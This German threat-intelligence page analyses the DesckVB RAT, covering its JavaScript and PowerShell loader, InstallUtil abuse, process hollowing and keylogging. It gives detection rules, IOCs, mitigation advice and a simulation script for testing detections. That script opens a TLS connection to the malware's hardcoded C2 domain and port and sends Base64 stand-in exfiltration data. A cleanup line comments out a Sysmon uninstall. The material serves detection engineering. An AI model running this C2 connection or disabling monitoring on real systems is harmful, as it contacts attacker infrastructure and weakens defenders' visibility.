DesckVB RAT Analyse: Vom JavaScript-Loader zum Fileless .NET RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
DesckVB RAT ist ein von JavaScript getriebener Trojaner, der in einen PowerShell-Loader integriert wird, um eine dateilose .NET-DLL direkt im Speicher abzurufen und auszuführen. Um die Ausführung zu verschleiern, nutzt der Loader Base64-Codierung und String-Reversal-Obfuskation, missbraucht InstallUtil.exe als LOLBin und startet einen neuen Prozess mit CreateProcessA. Sobald aktiviert, stellt der RAT verschlüsselte HTTPS C2-Kommunikation her und unterstützt Module für Keylogging, Webcam-Zugriff und Anti-AV-Erkennung.
Untersuchung
Die Analyse zeigt, dass die anfängliche JavaScript-Phase ein PowerShell-Skript in C:UsersPublic schreibt und dann eine verschleierte Domain kontaktiert, um eine .NET-Assembly herunterzuladen (zum Beispiel ClassLibrary3.dll). Die Assembly lädt unterstützende DLLs, erstellt einen angehaltenen Prozess und injiziert Payload-Code, während Konfigurationsdetails wie eine sekundäre bösartige Domain und Port berichtet werden. Netzwerk-Telemetrie bestätigt TLS-verschlüsselte Kommunikation vom infizierten Host zur Infrastruktur des Angreifers.
Minderung
Blockieren Sie die Ausführung von nicht vertrauenswürdigen oder unsignierten PowerShell-Skripten und beschränken Sie die Nutzung von InstallUtil.exe für nicht-administrative oder unerwartete Workflows. Wenden Sie strikte ausgehende Kontrollen an, einschließlich HTTPS-Überwachung, wo möglich, und Domain-Reputationsfilterung für identifizierte bösartige Infrastruktur. Auf Endpunkten erkennen Sie die Benutzung von CreateProcessA mit Flags für angehaltene Prozesse und alarmieren Sie bei Lademustern von .NET-Assemblies im Speicher, die mit dateiloser Injektion übereinstimmen.
Reaktion
Wenn Indikatoren erkannt werden, isolieren Sie den Endpunkt, stoppen Sie die bösartige Prozesskette und erfassen Sie Speicherauszüge zur Analyse von in-Speicher-Assemblies und injizierten Regionen. Entfernen Sie die abgelegten PowerShell-Artefakte aus C:UsersPublic und beseitigen Sie alle zugehörigen DLLs oder Überbleibsel von Loaders. Setzen Sie betroffene Anmeldeinformationen zurück, rotieren Sie exponierte Geheimnisse und überprüfen Sie Firewall-/Proxy-Logs auf ausgehende Verbindungen zu den aufgelisteten Domains und Ports.
"graph TB %% Klassen-Definitionen classDef action fill:#ffcc99 classDef tool fill:#99ccff classDef malware fill:#ccffcc classDef file fill:#dddddd %% Knoten loader_js["<b>Tool</b> – <b>Name</b>: Verschleierter JavaScript-Loader<br/><b>Technik</b>: T1027.006 HTML-Schmuggel<br/><b>Technik</b>: T1027.008 Gestreifte Payloads<br/><b>Beschreibung</b>: Verwendet Base64 und umgekehrte Strings zur Befehlsverschleierung"] class loader_js tool powershell_script["<b>Tool</b> – <b>Name</b>: PowerShell-Skript lkpzw_01.ps1<br/><b>Technik</b>: T1059.001 PowerShell<br/><b>Beschreibung</b>: Führt mit umgangenem Ausführungsrichtlinien aus"] class powershell_script tool dotnet_assembly["<b>Datei</b>: Bösartige .NET-Assembly"] class dotnet_assembly file installutil_execution["<b>Tool</b> – <b>Name</b>: InstallUtil.exe<br/><b>Technik</b>: T1218.004 System-Binary-Proxy-Ausführung<br/><b>Beschreibung</b>: Führt .NET-DLL über ein vertrauenswürdiges System-Binary aus"] class installutil_execution tool dotnet_reflection["<b>Malware</b> – <b>Name</b>: ClassLibrary3.dll<br/><b>Technik</b>: T1620 Reflektives Code-Laden<br/><b>Beschreibung</b>: Lädt Assembly direkt in den Speicher mit Reflection"] class dotnet_reflection malware process_hollow["<b>Aktion</b> – <b>Technik</b>: T1055.012 Process Hollowing<br/><b>Beschreibung</b>: Erstellt einen angehaltenen Prozess und injiziert bösartigen Code"] class process_hollow action thread_hijack["<b>Aktion</b> – <b>Technik</b>: T1055.003 Thread Execution Hijacking<br/><b>Beschreibung</b>: Entführt die Ausführung des Threads im Zielprozess"] class thread_hijack action dll_hijack["<b>Aktion</b> – <b>Technik</b>: T1574.001 DLL-Hijack-Ausführungsfluss<br/><b>Beschreibung</b>: Lädt zusätzliche DLLs in den Speicher, um die Funktionalität zu erweitern"] class dll_hijack action keylogger_module["<b>Malware</b> – <b>Name</b>: Microsoft.exe<br/><b>Technik</b>: T1056.001 Keylogging<br/><b>Beschreibung</b>: Schlupft Keylogger und andere Module"] class keylogger_module malware c2_https["<b>Aktion</b> – <b>Technik</b>: T1071.001 Webprotokolle<br/><b>Beschreibung</b>: Kommuniziert über HTTPS und vermischt sich mit legitimen Datenverkehr"] class c2_https action %% Verbindungen loader_js –>|schreibt und führt aus| powershell_script powershell_script –>|lädt Assembly herunter| dotnet_assembly dotnet_assembly –>|ausgeführt über| installutil_execution installutil_execution –>|lädt mit Reflection| dotnet_reflection dotnet_reflection –>|erstellt angehaltenen Prozess| process_hollow process_hollow –>|nutzt Thread Hijacking| thread_hijack thread_hijack –>|lädt zusätzliche DLLs| dll_hijack dll_hijack –>|ermöglicht| keylogger_module keylogger_module –>|kommuniziert mit C2| c2_https "
Angriffsablauf
Erkennungen
Powershell führt Datei im verdächtigen Verzeichnis unter Verwendung der Umgehung der Ausführungsrichtlinien aus (via cmdline)
Ansicht
LOLBAS WScript / CScript (via process_creation)
Ansicht
Verdächtige PowerShell-Strings (via powershell)
Ansicht
Rufen Sie verdächtige .NET-Klassen/Methoden von der PowerShell-Befehlszeile aus auf (via process_creation)
Ansicht
Verdächtige Dateien im öffentlichen Benutzerprofil (via file_event)
Ansicht
Verdächtige Ausführung aus dem öffentlichen Benutzerprofil (via process_creation)
Ansicht
IOCs (SourceIP) zur Erkennung: DesckVB RAT-Analyse: Vom JavaScript-Loader bis zum Fileless .NET RAT
Ansicht
IOCs (HashMd5) zur Erkennung: DesckVB RAT-Analyse: Vom JavaScript-Loader bis zum Fileless .NET RAT
Ansicht
IOCs (HashSha256) zur Erkennung: DesckVB RAT-Analyse: Vom JavaScript-Loader bis zum Fileless .NET RAT
Ansicht
IOCs (DestinationIP) zur Erkennung: DesckVB RAT-Analyse: Vom JavaScript-Loader bis zum Fileless .NET RAT
Ansicht
Erkennung der DesckVB RAT C2-Kommunikation [Windows Netzwerkverbindung]
Ansicht
Erkennung der DesckVB RAT PowerShell- und InstallUtil-Ausführung [Windows PowerShell]
Ansicht
Simulationausführung
Voraussetzung: Die Telemetrie- und Baseline-Pre-Flight-Check muss bestanden werden.
Grund: Dieser Abschnitt beschreibt die genaue Ausführung der Angriffstechnik (TTP), die entworfen wurde, um die Erkennungsregel auszulösen. Die Befehle und das Narrativ MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu einer Fehldiagnose.
-
Angriffserzählung & Befehle:
Der Angreifer, der sich den ersten Zugang verschafft hat, startet eine PowerShell-basierte „Living Off The Land“-Nutzlast, die eine TLS-verschlüsselte TCP-Verbindung zur fest programmierten C2-Domain öffnetmanikandan83.mysynology.netauf Port 7535. Die Nutzlast kodiert einen Dummy-Datenblock mit Base64 (darstellend T1132.002) und streamt ihn über den TLS-Kanal. Da PowerShells .NET-Klassen verwendet werden, werden keine externen Binärdateien auf die Festplatte geschrieben, was die dateilose Natur des DesckVB RAT widerspiegelt. Die Verbindung wird von einem Kindprozess hergestellt (powershell.exe), die von Sysmon als Netzwerkverbindungsereignis mit der genauen Domain, dem Port und dem TLS-Handshake-Flag erfasst wird, die die Regel überwacht. -
Regression Test Script:
# -------------------------------------------------------------- # DesckVB RAT C2-Kommunikationssimulation (PowerShell) # -------------------------------------------------------------- # Parameter $c2Domain = "manikandan83.mysynology.net" $c2Port = 7535 # Dummy-Payload (Base64-codiert) – stellt exfiltrierte Daten dar $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("sensor_data=42")) try { # TCP-Verbindung herstellen $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Domain, $c2Port) $netStream = $tcpClient.GetStream() # Mit TLS (SslStream) umhüllen $sslStream = New-Object System.Net.Security.SslStream($netStream,$false,({$true})) $sslStream.AuthenticateAsClient($c2Domain) Write-Host "[+] TLS-Handshake mit $c2Domain:$c2Port abgeschlossen" # Payload-Länge-Präfix senden (4-Byte Big-Endian) und dann Daten $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $len = [BitConverter]::GetBytes([System.Net.IPAddress]::HostToNetworkOrder($bytes.Length)) $sslStream.Write($len,0,$len.Length) $sslStream.Write($bytes,0,$bytes.Length) $sslStream.Flush() Write-Host "[+] Payload gesendet (Base64 Länge $($bytes.Length))" } catch { Write-Error "[-] Verbindung fehlgeschlagen: $_" } finally { # Sauberes Herunterfahren if ($sslStream) { $sslStream.Close() } if ($netStream) { $netStream.Close() } if ($tcpClient) { $tcpClient.Close() } Write-Host "[*] Verbindung beendet." } -
Cleanup-Befehle:
# Sicherstellen, dass verbleibende PowerShell NetTCP-Verbindungen geschlossen sind Get-Process -Name powershell | Where-Object { $_.Modules.ModuleName -match 'System.Net.Sockets.TcpClient' } | Stop-Process -Force # Optional: Sysmon entfernen (wenn dies eine einmalige Testumgebung ist) # & "$env:ProgramFilesSysmonSysmon.exe" -u